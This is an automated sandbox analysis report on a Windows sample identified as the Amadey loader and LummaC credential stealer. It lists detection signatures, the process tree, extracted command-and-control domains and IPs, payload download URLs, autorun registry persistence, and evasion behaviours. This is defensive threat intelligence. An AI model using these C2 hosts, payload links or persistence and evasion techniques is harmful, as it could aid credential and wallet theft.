Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571005
MD5:	41f7104e635f418ec5a33d817b5324d9
SHA1:	7c9a3124d4bf236a560c6a865b0034f79a65f875
SHA256:	3301f21b0e9b43873293f712c6a8eccb7746c09207e0cedcfe836d060862c6f8
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6864 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 41F7104E635F418EC5A33D817B5324D9)

skotes.exe (PID: 4144 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 41F7104E635F418EC5A33D817B5324D9)

skotes.exe (PID: 1308 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 41F7104E635F418EC5A33D817B5324D9)

skotes.exe (PID: 7672 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 41F7104E635F418EC5A33D817B5324D9)

0tClIDb.exe (PID: 7872 cmdline: "C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe" MD5: 6367FB8A64F997BE8D65536534BDD057)

9DNEMG3H6COYF8VY.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe" MD5: 3A14DCD85C597F6B51F3B5687D1043FA)

NvidiaDriver.exe (PID: 6940 cmdline: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" MD5: 3A14DCD85C597F6B51F3B5687D1043FA)

InternetDriver.exe (PID: 6868 cmdline: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe" --vision MD5: 3A14DCD85C597F6B51F3B5687D1043FA)

184f72cd859c47b29124ab7c76766326.exe (PID: 7216 cmdline: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe" MD5: 7CB559130BBD743D4CDB0891749C5643)

conhost.exe (PID: 3156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NvidiaDriver.exe (PID: 5596 cmdline: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision MD5: 3A14DCD85C597F6B51F3B5687D1043FA)

NvidiaDriver.exe (PID: 5576 cmdline: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision MD5: 3A14DCD85C597F6B51F3B5687D1043FA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["dwell-exclaim.biz", "formy-spill.biz", "zinc-sneark.biz", "impend-differ.biz", "se-blurry.biz", "print-vexer.biz", "dare-curbys.biz", "covery-mover.biz"]}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 0tClIDb.exe PID: 7872	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0tClIDb.exe PID: 7872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0tClIDb.exe PID: 7872	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.skotes.exe.ac0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.ac0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.490000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.ac0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe, ProcessId: 8172, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\InternetDriver_db0ad8af55074ec6a35fe3c2f19759be

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe, ProcessId: 8172, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\InternetDriver_db0ad8af55074ec6a35fe3c2f19759be

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe, ProcessId: 8172, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InternetDriver_cef09dcf6b774f79a4710801a7f389d4.lnk

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:16.984431+0100	2028371	3	Unknown Traffic	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:19.035021+0100	2028371	3	Unknown Traffic	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:21.479655+0100	2028371	3	Unknown Traffic	192.168.2.4	49795	172.67.165.166	443	TCP
2024-12-08T18:06:23.869780+0100	2028371	3	Unknown Traffic	192.168.2.4	49802	172.67.165.166	443	TCP
2024-12-08T18:06:26.419153+0100	2028371	3	Unknown Traffic	192.168.2.4	49810	172.67.165.166	443	TCP
2024-12-08T18:06:29.112582+0100	2028371	3	Unknown Traffic	192.168.2.4	49819	172.67.165.166	443	TCP
2024-12-08T18:06:31.476507+0100	2028371	3	Unknown Traffic	192.168.2.4	49826	172.67.165.166	443	TCP
2024-12-08T18:06:35.143703+0100	2028371	3	Unknown Traffic	192.168.2.4	49834	172.67.165.166	443	TCP
2024-12-08T18:06:37.916093+0100	2028371	3	Unknown Traffic	192.168.2.4	49845	104.21.9.168	443	TCP
2024-12-08T18:06:52.656290+0100	2028371	3	Unknown Traffic	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:54.647885+0100	2028371	3	Unknown Traffic	192.168.2.4	49893	104.21.81.153	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:17.744416+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:19.936454+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:36.233362+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49834	172.67.165.166	443	TCP
2024-12-08T18:06:53.390663+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49886	104.21.81.153	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:17.744416+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:53.390663+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49886	104.21.81.153	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:19.936454+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49788	172.67.165.166	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:16.984431+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49782	172.67.165.166	443	TCP
2024-12-08T18:06:19.035021+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49788	172.67.165.166	443	TCP
2024-12-08T18:06:21.479655+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49795	172.67.165.166	443	TCP
2024-12-08T18:06:23.869780+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49802	172.67.165.166	443	TCP
2024-12-08T18:06:26.419153+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49810	172.67.165.166	443	TCP
2024-12-08T18:06:29.112582+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49819	172.67.165.166	443	TCP
2024-12-08T18:06:31.476507+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49826	172.67.165.166	443	TCP
2024-12-08T18:06:35.143703+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	49834	172.67.165.166	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:52.656290+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.4	49886	104.21.81.153	443	TCP
2024-12-08T18:06:54.647885+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.4	49893	104.21.81.153	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:17.241805+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:15.190263+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.4	51454	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:50.636415+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.4	59090	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:51.028330+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.4	58799	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:29.860901+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49819	172.67.165.166	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:05.522349+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:15.649889+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T18:06:09.970923+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-08T18:06:47.665769+0100	2803305	3	Unknown Traffic	192.168.2.4	49868	104.21.9.168	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: impend-differ.biz	URL Reputation: Label: malware
Source: https://se-blurry.biz/api	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/806475321/0tClIDb.exeRX	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpdedt	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/9	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiu(	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/J	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/806475321/0tClIDb.exeso~	Avira URL Cloud: Label: malware
Source: https://gamertool.eu/LKSM.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php29001	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/Y	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/806475321/0tClIDb.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php3229001	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/g	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apidjd	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apin	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/h	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/api2	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/z	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000002.00000002.1728325404.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 13.2.184f72cd859c47b29124ab7c76766326.exe.32c0000.1.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["dwell-exclaim.biz", "formy-spill.biz", "zinc-sneark.biz", "impend-differ.biz", "se-blurry.biz", "print-vexer.biz", "dare-curbys.biz", "covery-mover.biz"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.2% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: impend-differ.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: print-vexer.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: dare-curbys.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: covery-mover.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: formy-spill.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: zinc-sneark.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: se-blurry.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: atten-supporse.biz
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: - Screen Resoluton:
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000007.00000002.2680219750.0000000000DD1000.00000040.00000001.01000000.00000009.sdmp	String decryptor: Workgroup: -

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.9.168:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.9.168:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.81.153:443 -> 192.168.2.4:49886 version: TLS 1.2

Source:

Binary string: C:\DEV\C#\LKSM\WinApp\WinApp\obj\Release\LKSM.pdb source: 0tClIDb.exe, 0tClIDb.exe, 00000007.00000003.2678870606.00000000058A4000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678870606.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2692361046.00000000058A4000.00000004.00000800.00020000.00000000.sdmp, 9DNEMG3H6COYF8VY.exe, 00000009.00000000.2678750378.0000000000722000.00000002.00000001.01000000.0000000A.sdmp, InternetDriver.exe.10.dr, NvidiaDriver.exe.9.dr, 9DNEMG3H6COYF8VY.exe.7.dr

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp\NvidiaDriver	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File opened: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.4:51454 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49788 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49795 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49802 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49810 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49819 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49826 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49834 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:59090 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:59090 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:58799 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:58799 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.4:49886 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.4:49886 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.4:49893 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.4:49893 -> 104.21.81.153:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49819 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49788 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49788 -> 172.67.165.166:443
